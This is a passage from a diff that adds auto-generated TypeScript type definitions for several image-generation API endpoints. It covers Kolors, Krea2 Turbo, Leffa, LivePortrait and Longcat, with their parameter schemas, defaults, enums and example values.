Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageC172Af4E = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiKolors = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageC172Af4E[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSizeF4F41D2E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiKolorsImageToImageSchedulerEnum = { + EulerDiscreteScheduler: 'EulerDiscreteScheduler', + EulerAncestralDiscreteScheduler: 'EulerAncestralDiscreteScheduler', + DPMSolverMultistepScheduler: 'DPMSolverMultistepScheduler', + DPMSolverMultistepScheduler_SDE_karras: + 'DPMSolverMultistepScheduler_SDE_karras', + UniPCMultistepScheduler: 'UniPCMultistepScheduler', + DEISMultistepScheduler: 'DEISMultistepScheduler', +} as const + +export type InputFalAiKolorsImageToImageSchedulerEnumKey = + (typeof inputFalAiKolorsImageToImageSchedulerEnum)[keyof typeof inputFalAiKolorsImageToImageSchedulerEnum] + +export const inputFalAiKolorsImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiKolorsImageToImageImageSizeKey = + (typeof inputFalAiKolorsImageToImageImageSize)[keyof typeof inputFalAiKolorsImageToImageImageSize] + +export const inputFalAiKolorsImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiKolorsImageToImageOutputFormatEnumKey = + (typeof inputFalAiKolorsImageToImageOutputFormatEnum)[keyof typeof inputFalAiKolorsImageToImageOutputFormatEnum] + +export type InputFalAiKolorsImageToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small + * details (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example ugly, deformed, blurry + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show + * you. + * + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 150 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of image to use for image to image + * @example https://storage.googleapis.com/falserverless/model_tests/image_models/bunny_source.png + * @type string + */ + image_url: string + /** + * @description The scheduler to use for the model. + * @default 'EulerDiscreteScheduler' + * @type string | undefined + */ + scheduler?: InputFalAiKolorsImageToImageSchedulerEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example high quality image of a capybara wearing sunglasses. In the background of the image there are trees, poles, grass and other objects. At the bottom of the object there is the road., 8k, highly detailed. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + */ + image_size?: ImageSizeF4F41D2E | InputFalAiKolorsImageToImageImageSizeKey + /** + * @description Seed + */ + seed?: number | null + /** + * @description The strength to use for image-to-image. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKolorsImageToImageOutputFormatEnumKey + /** + * @description Enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type Image3Abeb0B4 = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiKolorsImageToImage = { + /** + * @description The generated image files info. + * @type array + */ + images: Image3Abeb0B4[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize79A621F5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiKrea2TurboAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiKrea2TurboAccelerationEnumKey = + (typeof inputFalAiKrea2TurboAccelerationEnum)[keyof typeof inputFalAiKrea2TurboAccelerationEnum] + +export const inputFalAiKrea2TurboOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiKrea2TurboOutputFormatEnumKey = + (typeof inputFalAiKrea2TurboOutputFormatEnum)[keyof typeof inputFalAiKrea2TurboOutputFormatEnum] + +export const inputFalAiKrea2TurboImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiKrea2TurboImageSizeKey = + (typeof inputFalAiKrea2TurboImageSize)[keyof typeof inputFalAiKrea2TurboImageSize] + +export type InputFalAiKrea2Turbo = { + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiKrea2TurboAccelerationEnumKey + /** + * @description The format of the generated image. Default value: "png". + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKrea2TurboOutputFormatEnumKey + /** + * @description Base text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example a vintage travel poster for Mars + * @type string + */ + prompt: string + /** + * @description Random seed for reproducible generation. Image *i* uses `seed + i`. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If true, the output safety checker is enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the prompt is expanded with an LLM into a more detailed image-generation prompt for higher quality results. On failure, the original prompt is used unchanged. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize79A621F5 | InputFalAiKrea2TurboImageSizeKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFileE5F4D9F7 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKrea2Turbo = { + /** + * @description Whether each generated image contains NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The seed used to generate the image(s). + * @example 12345 + * @type integer + */ + seed: number + /** + * @description Timing information for the request, in seconds. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The generated images. + * @type array + */ + images: ImageFileE5F4D9F7[] + /** + * @description The final prompt after expansion, if prompt expansion was enabled. + */ + actual_prompt?: string | null +} + +export type LoRAInput94Fddaf6 = { + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL, HuggingFace repo ID (owner/repo), or local path to LoRA weights. + * @type string + */ + path: string +} + +export type ImageSize7261Aa9A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiKrea2TurboLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiKrea2TurboLoraAccelerationEnumKey = + (typeof inputFalAiKrea2TurboLoraAccelerationEnum)[keyof typeof inputFalAiKrea2TurboLoraAccelerationEnum] + +export const inputFalAiKrea2TurboLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiKrea2TurboLoraOutputFormatEnumKey = + (typeof inputFalAiKrea2TurboLoraOutputFormatEnum)[keyof typeof inputFalAiKrea2TurboLoraOutputFormatEnum] + +export const inputFalAiKrea2TurboLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiKrea2TurboLoraImageSizeKey = + (typeof inputFalAiKrea2TurboLoraImageSize)[keyof typeof inputFalAiKrea2TurboLoraImageSize] + +export type InputFalAiKrea2TurboLora = { + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput94Fddaf6[] + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiKrea2TurboLoraAccelerationEnumKey + /** + * @description The format of the generated image. Default value: "png". + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKrea2TurboLoraOutputFormatEnumKey + /** + * @description Base text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example a vintage travel poster for Mars + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducible generation. Image *i* uses `seed + i`. + */ + seed?: number | null + /** + * @description If true, the output safety checker is enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the prompt is expanded with an LLM into a more detailed image-generation prompt for higher quality results. On failure, the original prompt is used unchanged. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize7261Aa9A | InputFalAiKrea2TurboLoraImageSizeKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile7C8F3322 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKrea2TurboLora = { + /** + * @description Whether each generated image contains NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The seed used to generate the image(s). + * @example 12345 + * @type integer + */ + seed: number + /** + * @description Timing information for the request, in seconds. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The generated images. + * @type array + */ + images: ImageFile7C8F3322[] + /** + * @description The final prompt after expansion, if prompt expansion was enabled. + */ + actual_prompt?: string | null +} + +export type ImageSizeC75Fe64F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiKrea2TurboStyleAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiKrea2TurboStyleAccelerationEnumKey = + (typeof inputFalAiKrea2TurboStyleAccelerationEnum)[keyof typeof inputFalAiKrea2TurboStyleAccelerationEnum] + +export const inputFalAiKrea2TurboStyleOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiKrea2TurboStyleOutputFormatEnumKey = + (typeof inputFalAiKrea2TurboStyleOutputFormatEnum)[keyof typeof inputFalAiKrea2TurboStyleOutputFormatEnum] + +export const inputFalAiKrea2TurboStyleImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiKrea2TurboStyleImageSizeKey = + (typeof inputFalAiKrea2TurboStyleImageSize)[keyof typeof inputFalAiKrea2TurboStyleImageSize] + +export type InputFalAiKrea2TurboStyle = { + /** + * @description One to three image URLs used as style references. + * @type array + */ + reference_image_urls: string[] + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiKrea2TurboStyleAccelerationEnumKey + /** + * @description The format of the generated image. Default value: "png". + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKrea2TurboStyleOutputFormatEnumKey + /** + * @description Base text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example a vintage travel poster for Mars + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducible generation. Image *i* uses `seed + i`. + */ + seed?: number | null + /** + * @description If true, the output safety checker is enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the prompt is expanded with an LLM into a more detailed image-generation prompt for higher quality results. On failure, the original prompt is used unchanged. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeC75Fe64F | InputFalAiKrea2TurboStyleImageSizeKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Scale for the style adapter residual. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + style_scale?: number +} + +export type ImageFile8590C057 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKrea2TurboStyle = { + /** + * @description Timing information for the request, in seconds. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @type array + */ + images: ImageFile8590C057[] + /** + * @description Whether each generated image contains NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The final prompt after expansion, if prompt expansion was enabled. + */ + actual_prompt?: string | null + /** + * @description The seed used to generate the image(s). + * @example 12345 + * @type integer + */ + seed: number +} + +export const inputFalAiLeffaPoseTransferOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLeffaPoseTransferOutputFormatEnumKey = + (typeof inputFalAiLeffaPoseTransferOutputFormatEnum)[keyof typeof inputFalAiLeffaPoseTransferOutputFormatEnum] + +export type InputFalAiLeffaPoseTransfer = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiLeffaPoseTransferOutputFormatEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your input when generating the image. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same input given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Url for the human image. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/person_image.jpg + * @type string + */ + pose_image_url: string + /** + * @description Url to the garment image. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/pose_image.jpg + * @type string + */ + person_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image900Cefa5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiLeffaPoseTransfer = { + /** + * @description The output image. + * @example {"height":1024,"width":768,"url":"https://fal.media/files/tiger/y6ZwaYdP9Q92FnsJcSbYz.png","content_type":"image/jpeg"} + * @type object + */ + image: Image900Cefa5 + /** + * @description Whether the image contains NSFW concepts. + * @type boolean + */ + has_nsfw_concepts: boolean + /** + * @description The seed for the inference. + * @type integer + */ + seed: number +} + +export const inputFalAiLeffaVirtualTryonOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLeffaVirtualTryonOutputFormatEnumKey = + (typeof inputFalAiLeffaVirtualTryonOutputFormatEnum)[keyof typeof inputFalAiLeffaVirtualTryonOutputFormatEnum] + +export const inputFalAiLeffaVirtualTryonGarmentTypeEnum = { + upper_body: 'upper_body', + lower_body: 'lower_body', + dresses: 'dresses', +} as const + +export type InputFalAiLeffaVirtualTryonGarmentTypeEnumKey = + (typeof inputFalAiLeffaVirtualTryonGarmentTypeEnum)[keyof typeof inputFalAiLeffaVirtualTryonGarmentTypeEnum] + +export type InputFalAiLeffaVirtualTryon = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiLeffaVirtualTryonOutputFormatEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your input when generating the image. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same input given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The type of the garment used for virtual try-on. + * @example upper_body + * @example lower_body + * @example dresses + * @type string + */ + garment_type: InputFalAiLeffaVirtualTryonGarmentTypeEnumKey + /** + * @description Url for the human image. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/person_image.jpg + * @type string + */ + human_image_url: string + /** + * @description Url to the garment image. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/tshirt_image.jpg + * @type string + */ + garment_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image303B722C = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiLeffaVirtualTryon = { + /** + * @description The output image. + * @example {"height":1024,"width":768,"url":"https://fal.media/files/elephant/9NTQQNo9eyiQUSLa6cYBW.png","content_type":"image/jpeg"} + * @type object + */ + image: Image303B722C + /** + * @description Whether the image contains NSFW concepts. + * @type boolean + */ + has_nsfw_concepts: boolean + /** + * @description The seed for the inference. + * @type integer + */ + seed: number +} + +export const inputFalAiLivePortraitImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLivePortraitImageOutputFormatEnumKey = + (typeof inputFalAiLivePortraitImageOutputFormatEnum)[keyof typeof inputFalAiLivePortraitImageOutputFormatEnum] + +export type InputFalAiLivePortraitImage = { + /** + * @description Amount to shape mouth in 'woo' position + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + woo?: number + /** + * @description Amount to smile + * @minimum -2 + * @maximum 2 + * @default 0 + * @type number | undefined + */ + smile?: number + /** + * @description + * Whether to enable the safety checker. If enabled, the model will check if the input image contains a face before processing it. + * The safety checker will process the input image + * + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Amount to move pupils vertically + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + pupil_y?: number + /** + * @description Scaling factor for the face crop. + * @default 2.3 + * @type number | undefined + */ + scale?: number + /** + * @description Amount to blink the eyes + * @minimum -30 + * @maximum 30 + * @default 0 + * @type number | undefined + */ + blink?: number + /** + * @description Amount to rotate the face in roll + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_roll?: number + /** + * @description Whether to crop the source portrait to the face-cropping space. + * @default true + * @type boolean | undefined + */ + flag_do_crop?: boolean + /** + * @description Amount to open mouth in 'aaa' shape + * @minimum -200 + * @maximum 200 + * @default 0 + * @type number | undefined + */ + aaa?: number + /** + * @description URL of the image to be animated + * @example https://storage.googleapis.com/falserverless/model_tests/live-portrait/XKEmk3mAzGHUjK3qqH-UL.jpeg + * @type string + */ + image_url: string + /** + * @description Horizontal offset ratio for face crop. + * @default 0 + * @type number | undefined + */ + vx_ratio?: number + /** + * @description Amount to rotate the face in yaw + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_yaw?: number + /** + * @description Amount to shape mouth in 'eee' position + * @minimum -40 + * @maximum 40 + * @default 0 + * @type number | undefined + */ + eee?: number + /** + * @description Amount to rotate the face in pitch + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_pitch?: number + /** + * @description Amount to move pupils horizontally + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + pupil_x?: number + /** + * @description Output format + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiLivePortraitImageOutputFormatEnumKey + /** + * @description Whether to conduct the rotation when flag_do_crop is True. + * @default true + * @type boolean | undefined + */ + flag_do_rot?: boolean + /** + * @description Amount to raise or lower eyebrows + * @minimum -30 + * @maximum 30 + * @default 0 + * @type number | undefined + */ + eyebrow?: number + /** + * @description Whether to set the lip to closed state before animation. Only takes effect when flag_eye_retargeting and flag_lip_retargeting are False. + * @default true + * @type boolean | undefined + */ + flag_lip_zero?: boolean + /** + * @description Amount to wink + * @minimum 0 + * @maximum 25 + * @default 0 + * @type number | undefined + */ + wink?: number + /** + * @description Whether to paste-back/stitch the animated face cropping from the face-cropping space to the original image space. + * @default true + * @type boolean | undefined + */ + flag_pasteback?: boolean + /** + * @description Size of the output image. + * @default 512 + * @type integer | undefined + */ + dsize?: number + /** + * @description Vertical offset ratio for face crop. Positive values move up, negative values move down. + * @default -0.125 + * @type number | undefined + */ + vy_ratio?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE6Ea1133 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLivePortraitImage = { + /** + * @description The generated image file. + * @type object + */ + image: ImageE6Ea1133 +} + +export type ImageSize4F5F7A3C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLongcatImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiLongcatImageOutputFormatEnumKey = + (typeof inputFalAiLongcatImageOutputFormatEnum)[keyof typeof inputFalAiLongcatImageOutputFormatEnum] + +export const inputFalAiLongcatImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLongcatImageImageSizeKey = + (typeof inputFalAiLongcatImageImageSize)[keyof typeof inputFalAiLongcatImageImageSize] + +export const inputFalAiLongcatImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiLongcatImageAccelerationEnumKey = + (typeof inputFalAiLongcatImageAccelerationEnum)[keyof typeof inputFalAiLongcatImageAccelerationEnum] + +export type InputFalAiLongcatImage = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiLongcatImageOutputFormatEnumKey + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize4F5F7A3C | InputFalAiLongcatImageImageSizeKey + /** + * @description The prompt to generate an image from. + * @example A lioness crouching in the tall dry grass of the Serengeti during golden hour, intense gaze, telephoto lens with shallow depth of field + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiLongcatImageAccelerationEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image01C245E8 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiLongcatImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"content_type":"image/png","width":1024,"url":"https://storage.googleapis.com/falserverless/example_outputs/longcat_image/t2i.png"}] + * @type array + */ + images: Image01C245E8[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiLongcatImageEditOutputFormatEnumKey = + (typeof inputFalAiLongcatImageEditOutputFormatEnum)[keyof typeof inputFalAiLongcatImageEditOutputFormatEnum] + +export const inputFalAiLongcatImageEditAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiLongcatImageEditAccelerationEnumKey = + (typeof inputFalAiLongcatImageEditAccelerationEnum)[keyof typeof inputFalAiLongcatImageEditAccelerationEnum] + +export type InputFalAiLongcatImageEdit = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiLongcatImageEditOutputFormatEnumKey + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to edit the image with. + * @example Add the text "Fal is fast" in elegant cursive font with lightning streaks at the top of the image. + * @type string + */ + prompt: string + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiLongcatImageEditAccelerationEnumKey + 